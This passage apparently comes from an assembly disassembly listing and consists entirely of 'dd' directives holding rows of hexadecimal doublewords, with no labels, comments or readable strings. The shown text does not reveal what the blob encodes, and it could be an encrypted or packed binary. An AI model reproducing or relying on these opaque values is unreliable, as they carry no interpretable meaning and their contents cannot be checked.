0E94785B3h, 0F3510DF5h dd 5648474h, 566F2E5h, 0DD38802Dh, 3A01CF5Dh, 33307EB8h dd 8C2044EBh, 0C5C5FF40h, 0E4468470h, 7CC0031h, 25050ED3h dd 0F47CC190h, 1A880800h, 6542A4F0h, 0D0AC01F5h, 0DBB14DE1h dd 1C24341Fh, 0A00517Dh, 6B41B890h, 1DE091E1h, 0C027E911h dd 35439812h, 19071420h, 86D35B0Bh, 0C0CF68D3h, 483229h dd 0DCE2BA43h, 0F078F7A4h, 5F5B4000h, 8D1001B4h, 8E5C0A2Fh dd 0EF46D50h, 9E859FCEh, 104D873Ah, 898A43AAh, 0E9933901h dd 9B3EA8E5h, 3FD61C8h, 117691BDh, 90F97E85h, 6074E1B2h dd 94017BF7h, 0ABE7F8A3h, 0F4401C72h, 86AE8F85h, 17FCEC00h dd 87A0CA21h, 3F320069h, 0F2D867B7h, 0BC006B2Ah, 5122DD28h dd 85B801h, 8696C398h, 0CEB0DB7Ch, 0C9A71C17h, 0CA1AC00h dd 0AB210Dh, 0FB0F5F46h, 0D29C4A09h, 0CE3BDB00h, 1B5D1513h dd 6FF604E1h, 0C0867012h, 0D5C77175h, 4AFA8BECh, 9154A400h dd 0D775E6C2h, 87680EDDh, 0D5200356h, 0BFF94C90h, 0BC2E58h dd 89970766h, 3B49C1D4h, 0E4002CC4h, 0DDB93E04h, 216A9E3h dd 0E9000533h, 0FED5EC1Dh, 2F091DBDh, 0B9DE42CFh, 0B8A3D897h dd 0D8016F16h, 0F6A3B232h, 41D56C12h, 18A1CEE0h, 20FB10F0h dd 3538D638h, 0AD1A810Eh, 0A88DBE6h, 1E2C0CE0h, 41FCC34Bh dd 3A9C4230h, 2DB8401Bh, 0FB5D33F7h, 800C3AE0h, 9FEDDB64h dd 295C5Eh, 5ABB1BC6h, 0AFA87CF4h, 9E1F5404h, 0C8D093BCh dd 0E2FCCh, 3119BA27h, 5F691D21h, 88761498h, 0DA526010h dd 0F170852Dh, 0EED05060h, 4C7E5BA2h, 8E07199Ah, 0B0EAA3CAh dd 88893699h, 309BC824h, 0DD1DC000h, 78F15671h, 30B31E65h dd 635400D2h, 43B49B83h, 8B87180Ch, 24E5D192h, 208E2Fh dd 0CE1A24EEh, 1F007EA9h, 43DBE142h, 0EA4774h, 889148AEh dd 0C6232E68h, 5B007FE8h, 4004B681h, 0B827DC93h, 0F3F25Eh dd 0F114D270h, 57BD425Fh, 1F9FC0C0h, 989D0398h, 0CD00008h dd 0DC5A4B0Fh, 84D5324h, 4615001Ch, 8DA07713h, 36F409D2h dd 9C67B122h, 0F4972383h, 1F96E102h, 21D1F60h, 0C1507309h dd 24E090E3h, 4400CFABh, 0BBF85C1Ah, 3B88FE6h, 0E5C3C84Ah dd 0C6A0AA53h, 5901110Fh, 0D93A1FA0h, 0D440693Fh, 4C2AD3B8h dd 512466F2h, 751250h, 0D87A4A58h, 1200E96Eh, 5B6077C9h dd 0E5DC62h, 0B7D30ABh, 8BB5E75h, 89061000h, 7120496Ah dd 4A8B001Ah, 5923B5C0h, 1524FAECh, 4800E92Ch, 8275E32Fh dd 0DAAA07D5h, 90ED24C3h, 3E33FF9Ah, 0AD4C7B01h, 66BCD72Bh dd 0DEB2A040h, 8046001Dh, 0A6B033A8h, 750F1FCDh, 0FC31AC87h dd 0DE20D2D8h, 2F650081h, 0F68FF974h, 687850DCh, 8DFB7A00h dd 969DD8D3h, 0E210030h, 89A3EBCCh, 55006627h, 1A5AEA04h dd 5793A7h, 15A4CA86h, 0AAAE5CD1h, 14E3E800h, 1B1FF95Bh dd 4661E9A1h, 0A74069D1h, 0C494CDh, 0F70447DFh, 0DBEE8F9Fh dd 4045B49h, 9AA9987Ch, 0F08C3847h, 0B3D2A6E2h, 0BD1F0215h dd 0CE603F8h, 0B097BB63h, 609D1656h, 0E0264072h, 0CD1C3934h dd 2F401E36h, 0C2077647h, 101C0C02h, 7B20EC25h, 45FFA300h dd 981527B0h, 0FC623CA1h, 5351C600h, 0D2C7909Dh, 948BCA00h dd 5BA44F12h, 0D04E69h, 43FE4004h, 2CEB3D55h, 7318008Ch dd 0BA6C57CAh, 0EB013E6Ah, 8B958104h, 75C780D1h, 2900B9E7h dd 312A1ECDh, 18CF5485h, 0B8891DE9h, 59F47A6Eh, 7406F8DEh dd 2193B45h, 0AFC4933h, 2C6CE1F1h, 6073C742h, 6A66A850h dd 4A03DF05h, 0A3EE96A2h, 0C8ECE076h, 729807CBh, 0B0424397h dd 0C62609AAh, 0BA042498h, 57148345h, 50568207h, 4F76A6B2h dd 67798EFCh, 0A2A5AD01h, 28CB44Dh, 61AC2080h, 85DAE529h dd 0CDF7192Eh, 38C54E00h, 11797E8h, 5694A0E0h, 30101E47h dd 43135124h, 6C9CFB22h, 1677B881h, 0CD172Ch, 4FDF750Fh dd 0C9002A8Dh, 0D93401DDh, 714376h, 1D08F41Bh, 1C194CE4h dd 7C73C00h, 3342D172h, 6B540031h, 0A6177728h, 3A0EA425h dd 0A086F5CAh, 75D50BF9h, 318D2A1h, 1EBCF86Dh, 6FDEDB80h dd 308FA600h, 6317F9BFh, 0D5380ABDh, 12C07F48h, 0DDAC8855h dd 53CC340h, 48F46DBBh, 70E182BCh, 0B36A64C0h, 8351E000h dd 0CF0A9F41h, 443E0102h, 0A6488B71h, 39BFD726h, 49F1A780h dd 502E2832h, 107D0069h, 0DADCC010h, 1200408h, 0BE958453h dd 341E4116h, 7E2CD3ACh, 9C01C0ADh, 2964B661h, 0C0304AFEh dd 7DC3564h, 6B1C04B7h, 0D66F600Fh, 0DD020A09h, 0B80B5AB5h dd 0A6C080EBh, 79CCC42Ah, 0CF640058h, 0B7494F2Eh, 0D304E184h dd 0CB3B7C65h, 6ECCD0C0h, 60871E8Ah, 202D422Fh, 0A4431BC7h dd 192662A8h, 3029B72Eh, 0F89A3002h, 2C08403Eh, 5BCB01EAh dd 84895C33h, 7C91C417h, 0EC2AD4A0h, 892D4839h, 7A65AAh dd 0EEE45AD0h, 3CFB01D6h, 0C6B38FCh, 69C3C4CFh, 146699A0h dd 0BD06DE1Eh, 6CFD7A00h, 41BD909h, 38C746D3h, 8FFC800Ch dd 0DB804405h, 80EE0B63h, 3420DE11h, 78FD5319h, 4700EFE8h dd 0E0AA6A0Eh, 0BF6265Ah, 0C8C1A4D1h, 0E8B02509h, 63382F49h dd 6607799Ch, 1A8AA592h, 0DA1FC1D1h, 23542E8h, 64C526D7h dd 78F04CE9h, 0B50F03E2h, 0C2B336C1h, 6992CDEFh, 7C3DCA10h dd 0B9FD0A00h, 0ED4D3E27h, 261DAE00h, 0BA641D9h, 5FC3126Ah dd 40130175h, 0D805DD9Ah, 7930F5EFh, 99A248EBh, 553A0EA3h dd 10EF1D97h, 0BD9571A0h, 0FF01494Bh, 4F98ACEFh, 0F7E03FDFh dd 106901D3h, 187236E2h, 0D78840B2h, 7700F02Bh, 0C744759Eh dd 0C87D4h, 10EB595Fh, 5D84F69Fh, 92EDEC00h, 12BED273h dd 6A5A0011h, 0D4F1527Bh, 1FFA44EBh, 1E5CB00h, 8D34CA95h dd 0D8BF60DDh, 0C566ECDh, 5855882Ch, 1900E828h, 5287F499h dd 37B60C5h, 0B48E5624h, 70AFB8A3h, 0A1CFB1C1h, 9F97E00h dd 4D4FBC64h, 74E43E0Fh, 320117BFh, 91CB2DEFh, 8ADC6058h dd 0CC00FA76h, 0A1B6E3BDh, 81DE8BEh, 531EB3A7h, 40996E00h dd 0CEA9A4h, 0C714882Dh, 76334D46h, 54613200h, 0FEC1744Ah dd 240E7895h, 0F46C64h, 1FE726D2h, 0DF000676h, 0E6B7DE6Ah dd 0CF27522h, 12DC64DDh, 910F3C20h, 0A0CAB559h, 1C7F0709h dd 0AFD54C3Eh, 10643877h, 37668482h, 0F440120Eh, 2F0B1301h dd 0EEBE5E88h, 102B14B8h, 0DF01D0C9h, 8FFCEE99h, 0F03570F9h dd 0B304E0E4h, 83C44FF8h, 13514C0h, 65561F61h, 0BE09789Ah dd 2C20583Bh, 9B803087h, 326C9400h, 240A0BAEh, 8CC817CBh dd 0A1B40277h, 0CC80662Dh, 21B8D8DCh, 5C5EA000h, 86C23BFCh dd 620CFE81h, 77E436A1h, 761578C8h, 1D13E318h, 7E2A9h dd 47B08BE0h, 18C8AAC4h, 71C33Bh, 6441F516h, 7B772E67h dd 833400B0h, 528E53ECh, 8103AA6Bh, 0C551B699h, 0F0F5CBA5h dd 13DC98A0h, 0A64C6FBh, 0A87F24h, 1FDD60A9h, 1B0056D5h dd 0F1ABFF5Ah, 0ED097623h, 0F801C20h, 39B81661h, 3C4A2D40h dd 0E57E5DDDh, 0DF984D00h dd 11CE3BD9h, 167F001Bh, 49E3C2FCh, 7124FAAFh, 0C60210E9h dd 901E9CBBh, 0B20BAC10h, 992D0080h, 0C734E1CAh, 0DC4E3929h dd 0FF529800h, 0E066FDh, 46905388h, 0E41522EEh, 92518C06h dd 20F34Ch, 4F05E1BEh, 0D6D01A54h, 830FF1Eh, 0EBA07C26h dd 58367D24h, 0E007C497h, 5A70C7A9h, 0D9D53Ch, 0F6614E71h dd 2A6E7226h, 804F2000h, 78CBCECFh, 1330F976h, 0F56B0004h dd 5D90C992h, 234A07D0h, 264A00DCh, 33371Ah, 86C5D0AAh dd 18008232h, 0F15B342Ah, 2D748ECAh, 0A880DA1Eh, 7DC93C9Fh dd 137FBD3Fh, 0FCC06126h, 5681B43h, 2FCB8803h, 1F67C03Dh dd 403E270Bh, 1DC459FBh, 0C1C05520h, 0B3BC7B7Eh, 60DB00EDh dd 3CA22E4Fh, 0CC00748Dh, 13F51A9Bh, 2FA83B5h, 12D74133h dd 8CE0F469h, 8718B3BEh, 2E11D9A2h, 8F340043h, 8C9938F2h dd 0E94C85E0h, 0DAA900D0h, 3AC13EF4h, 9A410724h, 0C0745AF5h dd 0CE9183B8h, 0DB1E8800h, 5EC5C69Ch, 869B0058h, 0BE03D8EFh dd 5CB49A43h, 981DB384h, 447C7890h, 0AD99014Fh, 2B0163ACh dd 601FD8E2h, 18006EF2h, 86E32C23h, 0B936B7h, 531CD1ABh dd 0BC4FC6B1h, 1EC9B201h, 46FBB351h, 9EDF9D8h, 1D3D59E3h dd 0F16BA868h, 1193A00h, 32AB6D7Fh, 233504F7h, 92EC720Eh dd 9B606934h, 0FB0EE9F0h, 8391E69Ah, 78ADF486h, 817C20h dd 0C22F639Ch, 5A76BB03h, 6B7D0C00h, 0A69A7885h, 0E1EB00C9h dd 0AAC5A7B9h, 8FEE7463h, 17188C01h, 52436B7Fh, 0BEE3919Ch dd 0A8571A1Dh, 0EA373E40h, 0D6601500h, 0FB990466h, 103FEB28h dd 328BD502h, 815B6BCAh, 8C57E124h, 0F85CE3D4h, 0E90CA058h dd 0E4EC1D3Ch, 4334875Fh, 5C11307Eh, 0D00E275h, 0F29E63B9h dd 0E82F98h, 5DB0D3C5h, 4F94D4B3h, 88EFE600h, 33AF7ED6h dd 0A0350029h, 4238984Bh, 4C747AF5h, 3F73C700h, 0B2AAFE14h dd 901C0064h, 25E13BF2h, 4A0062D1h, 0B5A554D9h, 3919889h dd 0E0A10452h, 0BEB87ECBh, 7A01DD0Dh, 0D01F70A9h, 44D89886h dd 79C33A38h, 0FE77400h, 1ECB2B87h, 170AA107h, 45604A2Fh dd 14AC57h, 0C19EEABBh, 428E4DDBh, 457E9A27h, 39605DA4h dd 0C24BBCh, 0F85CD885h, 44AC670h, 8F1F90F4h, 88434EC8h dd 0D0D28AEFh, 0F08770C9h, 0F9AE8CDh, 6F7AC243h, 9B67CC8Fh dd 6C84005Ch, 7B033A88h, 8AC3446Bh, 8607E0DEh, 0EBE83AC5h dd 0EE007E48h, 0C34BBA42h, 350F7B85h, 2D960FDh, 60698BEAh dd 5A57FF6h, 65E984Fh, 0E10CAB87h, 2763B8B6h, 6040A1B1h dd 0F1047B72h, 789007DAh, 380874E8h, 3408565Bh, 142694A8h dd 218E4E11h, 0AB4508B4h, 887C0A88h, 10888954h, 0AD938858h dd 28283E94h, 0C42142Bh, 21B2EA11h, 0B62C0822h, 113C6894h dd 0D62AB51Fh, 64944428h, 0B3AC14A0h, 50413A89h, 0C0128A6Dh dd 0BE331482h, 2804EE25h, 0BC48B54Ah, 25F82B42h, 0E6140492h dd 4298489Fh, 912EC68Ah, 0BB11B200h, 0FA4AA50Bh, 1700B6F8h dd 4593F92Dh, 171DC0Fh, 4727C759h, 0C37E48FCh, 29D320B0h dd 7B77F901h, 953326CDh, 0A6D5F7C9h, 6B62DCh, 0D9A197C3h dd 561AB0C8h, 0F4E7F471h, 0D300FFBEh, 91C7072Bh, 0BD5494h dd 0A76E308Dh, 0B829E293h, 7BABA7A0h, 588A53Bh, 8FEAEE9Dh dd 0D178A5C0h, 3EEC0730h, 604A7A94h, 7E6290C3h, 0CBA79E00h dd 867DB27Fh, 0C2F800EBh, 84ED77F7h, 8524A3A6h, 288090C5h dd 308B1038h, 79140B40h, 0D2007726h, 2C014833h, 0EFC84C07h dd 2AF3CF29h, 87BCD8F2h, 0ECB30E2Dh, 0EB606F58h, 23A2D4C6h dd 7300B892h, 0DA92B494h, 73C8B6C0h, 90BA0F11h, 1860CECCh dd 78AE2C63h, 8BB6400h, 0DF2BBF1Ah, 3C75F9h, 0A3B1B60Fh dd 0E6262E9Bh, 3827FF07h, 4809828h, 94F682h, 87CB73D8h dd 1754758Fh, 0E53FE001h, 0B6AC80FDh, 24BCECh, 87DE40F7h dd 9ABFE90Dh, 0D1822D00h, 0E0516878h, 3E7D8Ah, 4DA2B66h dd 25A05862h, 0D7A93Dh, 0F72A5943h, 0C38B2C4h, 0F09A500Eh dd 1400F916h, 92A95D20h, 4D2FED60h, 0EF003480h, 0C24C0970h dd 0BA00A822h, 0D1CFE5ADh, 0B517D3h, 3DEC072Fh, 5EDC4AF6h dd 0EB74A8C0h, 1365BBh, 8FB19753h, 0C283CDA5h, 86BE8C00h dd 0C3368759h, 51711F4Dh, 50827C75h, 0F9915585h, 0FC5E1C40h dd 0E18B800h, 0DD10A556h, 38B97529h, 0E8A8AD63h, 1026489Ch dd 2DADF00h, 8AB7B3F7h, 0BEEBE500h, 72EE6660h, 0F8D1545Ah dd 4FA208ADh, 5C87F6A5h, 0AC00BC3Eh, 0FA1431h, 8EA0EA82h dd 21304F0Dh, 0AF588A00h, 17841A94h, 0DEB606F5h, 2011268Ch dd 0D4BC0F1Ch, 2D838EBFh, 256702B5h, 2C98A04Bh, 3373B1h dd 7BAFB7A9h, 14E5B4Fh, 91206A0Fh, 26E20D0h, 659821h, 672F3809h dd 9329994Fh, 3180D8DDh, 6BDA8A48h, 7F2B0394h, 0E58F9B72h dd 0E24C12D8h, 1CF75504h, 9780BEB8h, 5AA2FEh, 0D32BD209h dd 90E31858h, 5C8CBB07h, 8783670Fh, 0ABB83F08h, 41EE4987h dd 0C56600FFh, 600CAE3h, 8940B083h, 8EB997h, 9280F24Ah dd 0CF680512h, 43EF3Ch, 86D8AEF8h, 0EA8A3C89h, 932100AFh dd 0AADBAC97h, 0C9001E73h, 0A2BA361Ch, 13CAEAh, 0AF926DC0h dd 0F82CA939h, 0C831773Ah, 29C200CCh, 472F7F1h, 0BE860023h dd 60F56B47h, 2B7E2605h, 0D3FD3101h, 800C4CDFh, 7B34C520h dd 0D530055h, 39204D7Dh, 51260BBFh, 8800432Ah, 0E1D0467Ch dd 0B1520097h, 5EB60E71h, 17EE9B48h, 89BF5802h, 46834AF8h dd 0D6B007E0h, 15CA6C08h, 6DD04186h, 24BACDFEh, 61001F1Ch dd 68E82DDDh, 10D0B4h, 5BDFD130h, 58D0645h, 19C12409h dd 2A508070h, 93CA97h, 65A441B6h, 0CC585690h, 3DA8041Ch dd 0F6595700h, 1213377Bh, 89DEA7h, 81B80820h, 0FD00D9DBh dd 9A5B9D4Fh, 4946F88h, 0A7D2416Bh, 8170C17Ch, 90FC6429h dd 4E843300h, 56A09E64h, 0FFF2002Dh, 9730703Fh, 3B03D107h dd 25441887h, 90BED0A3h, 0C9E70072h, 81E0D8FCh, 0CC00FB24h dd 480A8ABFh, 1F92B35h, 0EB9B2FB7h, 0DCECE079h, 0C603095Eh dd 990F4ED8h, 0BB97C083h, 2DA4003Ch, 0C8616945h, 698123Dh dd 5412F27Ah, 0B30F477Ah, 0CD11238Bh, 3883E0BEh, 0C0720088h dd 7DAF19AAh, 310E994Ch, 21859B1Bh, 80EF52CBh, 0E0840930h dd 62060340h, 7CFF370Ah, 7A8F003h, 0D01385ADh, 44431Dh dd 9836705h, 27495A48h, 91510F00h, 524EC9EDh, 0C65600CAh dd 4DE3A3A1h, 2F00DF69h, 1635AB81h, 130AA24h, 3304CEA2h dd 22093FA3h, 0C9710008h, 54148CBAh, 0A380920h, 0A4008AB5h dd 0B8DBA1FFh, 12567600h, 3564069Bh, 6B430037h, 3BE15DEAh dd 0CB1CC80Dh, 2B8194E9h, 332A7312h, 3F0E4CD4h, 5E9C5BDCh dd 0C01AC082h, 0FF9957DBh, 0B8242973h, 4D0E571Eh, 0A6666006h dd 6194ADh, 0C348523Bh, 0B2C5C809h, 3EC66D01h, 94565CD0h dd 0E2DF3D4h, 0A6823153h, 32CF1A01h, 0B024D07Ah, 0DA2C39h dd 96A55F34h, 2CEFD8CDh, 24E42D67h, 63E4003Ah, 7870C47Fh dd 0BFE4F00h, 0E9A11E3Ch, 37A90081h, 0C9CDA4EEh, 0C50E1D8Ch dd 0A01A3B5Dh, 0B32EA759h, 0E8809F8Fh, 301634F3h, 0FE88A650h dd 24498104h, 0CC815745h, 0C03F8B03h, 2B87EDEh, 5DC86900h dd 0BF2127CFh, 0CDF31F37h, 2F19C06Bh, 6A7A986Eh, 36434407h dd 8750B18Fh, 9809B548h, 6684003Bh, 584EE78Bh, 390105FEh dd 0FF91BE67h, 918E7BA6h, 1DA03BCAh, 9CCBFE88h, 8149C600h dd 0F36F7D23h dd 153F489h, 0D601219Bh, 0C034BAB0h, 0DF1397A5h, 0D400B4E9h dd 0D191D325h, 0A0230C17h, 0A7912212h, 0B77D492Ch, 5E147300h dd 0AD1F39h, 0ECA44B7Fh, 0C33D764Fh, 0DD86281Dh, 0A05F8E4Fh dd 9C1E1B71h, 0D9C70203h, 996DD21Ah, 54D61C60h, 9557F500h dd 0A02644E4h, 50AE00A8h, 399B792Eh, 0A23AE8AAh, 0A61A8012h dd 0B42A5B3Fh, 256000C1h, 1EC38F17h, 0F048B893h, 0FE85000Ch dd 0F6E6F942h, 23D80097h, 9BDD5F83h, 0B2004875h, 17BBE36Fh dd 24B5389h, 0E5FA36C5h, 604097F2h, 6300B9D4h, 8299FEDDh dd 0B0ED165Ch, 0A82D26A3h, 4DEE0034h, 0E889B39Dh, 1A82E200h dd 0FF61680Bh, 0B7B126E9h, 0EBDF8004h, 39F4E070h, 0C9551703h dd 88F1AF0Ah, 74E1376h, 1E9D0FC3h, 858CC222h, 83DDD460h dd 2E4D41FEh, 5BBB09B4h, 95C081BAh, 7C601411h, 3E7B1C5Fh dd 0BFE5803Dh, 0BDEA67F0h, 9B00357Ah, 0AEB32D7h, 0CE25EEh dd 0F1DDEF57h, 0BBD1C8AAh, 344D59h, 133D6D0Eh, 18288AEh dd 87ABB7E1h, 41899F41h, 0D465D2F4h, 50700B3Fh, 0F6D91400h dd 8F256978h, 16E211h, 2F63EDF3h, 6A82BEFDh, 0C1EC6Fh dd 449A96A3h, 7914004Ch, 29E29001h, 3C00D98Ah, 0A60C0F0Bh dd 261A5165h, 964799Bh, 8C80B3D4h, 0CAA0C67Fh, 0CBB1C000h dd 0EDC4151Fh, 8BD301C5h, 58691DD5h, 0A7EEDC3Fh, 0B7B61207h dd 0E3703A57h, 2100DA0h, 26A55599h, 2EC01EC4h, 732E2733h dd 0F4008470h, 0B2993B6h, 556F005Ch, 0BD717DC8h, 0E5006A91h dd 0B4C0CFD8h, 0A0B13Bh, 4508EBFFh, 26D680AEh, 9B9D5500h dd 28AFC71Dh, 0A93E09ABh, 4484478h, 2A544613h, 8D242FD8h dd 3700D53Fh, 289119E1h, 4503002Eh, 0BCE87B5Ch, 0D31E7751h dd 0D2417433h, 0AA150EFCh, 0F1D4A031h, 193C1D6Ah, 34D8008Fh dd 312B9C77h, 39E10A00h, 0DEF20888h, 972D0087h, 7728B91Ch dd 5E010920h, 0EC0134D1h, 2081884Bh, 4715F61Bh, 0DE0ED88Ch dd 0F85BD407h, 0C130E4E1h, 2C7D9E7Bh, 7B027A3h, 0B9B27FD6h dd 7C80068Eh, 0E6646638h, 9FF96E00h, 69968B27h, 0FE04309Bh dd 1FA54A10h, 6AE30B01h, 63C8F5F1h, 6020F421h, 6CF43932h dd 446912h, 3A6E84D6h, 51283E81h, 651CA2F9h, 0A80432Dh dd 3C7208CCh, 881C0002h, 189855D9h, 0F00EAEB3h, 3E76F707h dd 277BA400h, 7E18671h, 59EA6D3Dh, 0C30A1065h, 1CB0D091h dd 68E27233h, 0C10880F3h, 0F371EB8h, 0A611CBA7h, 55921040h dd 0D1FD0D00h, 7845D27Ah, 0E2CD00C3h, 27042C24h, 5001A538h dd 0E10CC095h, 5C20CCE9h, 597100A2h, 1C90867Bh, 0DCFBFDA1h dd 0A76BE54h, 23007FF2h, 0CC94E492h, 248749h, 0D406329Dh dd 4E4C62F4h, 11304712h, 0F68F0200h, 61DA90h, 0EB8549B9h dd 2A5E264Bh, 5E4D700h, 0B8A6C472h, 90B50031h, 2395EDEFh dd 2204BA0Ah, 20740710h, 277CD880h, 9F7F4Fh, 0B63B625Bh dd 0E17E55Fh, 105EE603h, 4CDB01C6h, 0C1C03098h, 0A172D26h dd 19045900h, 24955E11h, 0C3F083h, 9BA868FAh, 23C4EE86h dd 9D2E6300h, 6B49A5AEh, 749287h, 3D71B6FEh, 0CE771235h dd 8C45EA28h, 0FA20AE00h, 0A7ED40D2h, 849629h, 1B1E55A0h dd 675D9369h, 8B0726D0h, 8CBF1C00h, 29A2AFC0h, 5CCEA2Dh dd 0C0E8A68Fh, 18D4E7D8h, 95F38200h, 34A2BBDDh, 10E20BF8h dd 0BCF6B7F5h, 751A9E00h, 16C5CB8h, 64FCCFF6h, 20C5B6CCh dd 153FC380h, 0CA1AA631h, 7C143E00h, 1D883DE4h, 80D2E05Eh dd 0A1D9A0Eh, 830179Bh, 0FAE8A089h, 496B038h, 7C115D35h dd 30EC905Bh, 2972E647h, 9440784Eh, 0F17D2D10h, 1A2E12D4h dd 1B38C07Fh, 8573A49Ch, 99CA6238h, 9D18FC16h, 9D7F5C30h dd 0F49FBC80h, 8CA8AB79h, 151EB070h, 4C80F533h, 0C4C75DA3h dd 4C9748CCh, 8030851Eh, 0E42A88Eh, 1E24CE58h, 3A00F0ACh dd 517F9E5Ah, 4A4B18FDh, 6FC330EFh, 0B72A0100h, 0EA4D2469h dd 1E601F5Bh, 0FA9D0086h, 6D44B290h, 602C253Eh, 0CC919C80h dd 5868008Ah, 0DB4906B9h, 7003F8Ch, 51FF08D5h, 1C33964Ch dd 41D3E58Ah, 15767287h, 6CC180ACh, 1DD1DDCEh, 0D40F09B4h dd 1844BB4Ch, 89F5ED3Ah, 805CFEA8h, 881E5A70h, 0B0DE5E9Ah dd 6400D09Eh, 209DB639h, 0BA7169h, 5C59B849h, 82D440ACh dd 92E12C00h, 0C18E3163h, 78B7884h, 0AFCCC7F2h, 9DA6E293h dd 3DC8A4ACh, 87650F00h, 7976714Ah, 73B10050h, 3621A362h dd 0AD2E1047h, 0CA1464EEh, 1AA70098h, 0E6E1B393h, 5FDF2C3h dd 0E387EC16h, 7EC48846h, 0D4598200h, 0E991D3Bh, 1D20EFBh dd 72826D4Bh, 55057Ch, 1935C150h, 8C285C74h, 64A0558Eh dd 57ABA462h, 974488A0h, 0D880801h, 5460BADh, 2CC39454h dd 5A99C126h, 0B594EE40h, 49A102C5h, 7E9E2FB3h, 90DC9686h dd 29BEA900h, 54C68E18h, 307CE4FAh, 7DD0FE64h, 1301B05Eh dd 15EA35CBh, 0D2C4F6DEh, 24B898h, 1823DA11h, 8047CDFFh dd 81098131h, 42D4E85Ah, 1B9E124Dh, 0F8544033h, 0E3AC0E55h dd 0D6775000h, 4D54F4A5h, 7C5D1687h, 48900EDEh, 803DB2A7h dd 2A1FCFADh, 0DCFA7800h, 0BAB1A4CDh, 80109129h, 7CB6E502h dd 0D400A936h, 16281E9h, 11AAB99h, 0A074BE29h, 0D33716D6h dd 3A31A798h, 0D16B8300h, 137F96F3h, 841B1D29h, 5D070737h dd 35B05155h, 583181A9h, 668E0A3h, 2C43D260h, 1C59989h dd 0EDE2BDE3h, 5C9DF81Fh, 3EB73900h, 0E0306367h, 1DBB0045h dd 0A45E75EBh, 400038EFh, 54949A99h, 76B8FBF5h, 7EF6B6h dd 7C6CA684h, 0E26B1CA0h, 0BD27400h, 3FAA894Ah, 418F015Fh dd 3044C306h, 7AFA40CCh, 2F00ED29h, 0DD617D71h, 28908FE3h dd 26A666FBh, 0AEEF37h, 0D67515Eh, 0D3017649h, 3A6B16DBh dd 0E7F06860h, 901A0C54h, 3880630Ch, 8166203Dh, 924AEB3Eh dd 73D49301h, 0ECA00C1h, 6179482Ah, 0E838AC56h, 5154832Fh dd 0A07226BDh, 9246DDh, 0CCDC3549h, 0FEC6EC63h, 3D1293Ah dd 3439AD72h, 0C7D68887h, 41DE0958h, 1A01EC69h, 6E834405h dd 0E694F0h, 0A14C4B8Dh, 0C7A7D12h, 305639h, 0AAD6DCC3h dd 32548F2h, 350B93A6h, 78C06BA4h, 8B3ED1DEh, 30013061h dd 83061Ah, 17D8C2FEh, 503EEB60h, 0C99A4000h, 4D6FC620h dd 1C4BE21Eh, 6FBC043h, 61EA7D1Ch, 2636B500h, 0A24C37F7h dd 0BAC8034Ah, 0A96CF152h, 0C03F2001h, 130F1AC7h, 154818EBh dd 0E6758825h, 8138F718h, 0F5880B9h, 840927B4h, 0B55A8CA2h dd 3B292C90h, 0A4EAF110h, 2747B703h, 0E9D88E0Ch, 6016A7B0h dd 0EE007A88h, 0C58724C8h, 8FEA01EBh, 1678E27h, 0E46981FFh dd 0B6929650h, 384B7120h, 6B137090h, 0D0B703BDh, 2800F948h dd 16B188A5h, 1D32B2Ah, 0F2A18978h, 0FCDA6743h, 0F800C90Bh dd 2AECADA6h, 0F373AC3Dh, 4335DE40h, 5EFA0081h, 0B14F1797h dd 0DD006B33h, 6A022ECh, 3F859ED1h, 51600CBEh, 0DCD57849h dd 64024C00h, 95511C3Bh, 0D734021Eh, 1143E06Ah, 806F8761h dd 831D0C31h, 87ABEDh, 0D7DF2740h, 37E7732Ah, 0ECE36E00h dd 29EDCBF5h, 99850104h, 0D5FDD326h, 151CF048h, 19B4D0Ah dd 34808806h, 457CF324h, 9D802868h, 0FBB600B9h, 0E7A466CBh dd 28C023D1h, 5A935CCCh, 8F043A87h, 22AA7600h, 5921143Dh dd 964F4E00h, 7A1E3718h, 0EF4D0080h, 998340A9h, 0E400AB45h dd 0EBC75692h, 0BC1056Ah, 5ECA89D1h, 53D45100h, 5D00189Ch dd 0ADC9830h, 24AAAF4Ch dd 181ABCh, 0F2DA657Ch, 9B003E33h, 0A48B704Ah, 73393DF0h dd 7D7F2666h, 79C11EB0h, 9616D700h, 456F9209h, 53DAC600h dd 0A56C0A91h, 2A970343h, 3EBAFBC8h, 0B9A82DF8h, 1896358h dd 0B1521B86h, 0FEE82BACh, 0CC500F4h, 5331D481h, 27002994h dd 7B9EE66Bh, 9BB55Dh, 0FCA15811h, 52C112DEh, 0AC8EC21Ch dd 2D0667C0h, 1DE79DBCh, 5B5350C8h, 608710D7h, 604AC4B5h dd 251C7E00h, 8415AC91h, 0E3BD010Bh, 0C8105530h, 0B8FED468h dd 0DC793400h, 0D0BE1EAAh, 57CB0203h, 0D1BE1D8h, 0A4778240h dd 6F10FA05h, 0B51EBA87h, 0B34C7B00h, 0EA80834h, 0DDCB4970h dd 78E16760h, 473A7D2Fh, 545880F8h, 88FAD006h, 0CC9071h dd 3E05678Bh, 7FDA521Ch, 0F6EC200h, 0E9932A2Ch, 3F8800CAh dd 5BBE02B1h, 790029A8h, 401410FCh, 3A2CB945h, 4E80F964h dd 0AF86579Ah, 202B63Fh, 0AB272D23h, 435460CBh, 6A6E0052h dd 7F38AD80h, 0D4008AB5h, 0ABBBA4EBh, 383376Ch, 67A646D9h dd 0C9F0FA88h, 3F79F679h, 1AF37A0Eh, 0BD2500A2h, 0FF6320h dd 0DC7CCD9Dh, 0CF6DD511h, 0DE516200h, 0E499DD19h, 80A4AFh dd 3B0DBE47h, 8E41ABB2h, 0E3A18C00h, 0AA4986E5h, 4F160010h dd 0AE6F2537h, 0F809B744h, 171DAE1h, 39EEFC3Ch, 1E75B5D4h dd 8BE3DFh, 54AB0F3Bh, 0D400B817h, 126DE051h, 7F830E4Eh dd 919D0049h, 0A264BC1Bh, 0CF007737h, 0B3C71ED4h, 8603BBh dd 926813F1h, 0B5C3C136h, 7A5F1100h, 176C23E6h, 0D373FDh dd 7C36BC1Ch, 0A28B142Ah, 0E3B8CA01h, 4D4641A5h, 88C8807Fh dd 9EA0B54Ah, 5F004552h, 0FA64C7AFh, 1CA4BADh, 0C97F2E61h dd 71D63C53h, 0AFF4000Fh, 0C20072C8h, 0F31BC6E0h, 8BE2B3h dd 26C7AEC0h, 7DF0BB9Eh, 0E72A613h, 68952500h, 5C2014h dd 0A0E8EED1h, 0C58A19A2h, 534FD00Eh, 0F4FDCA4Eh, 8757E300h dd 7CA14Bh, 0ED9AA3E7h, 5A3E6BCDh, 6D4C307h, 0BE803D54h dd 90795778h, 0F8AE01D1h, 0AF269758h, 2C3115h, 9B6D3282h dd 2A191D0Fh, 953EA2DFh, 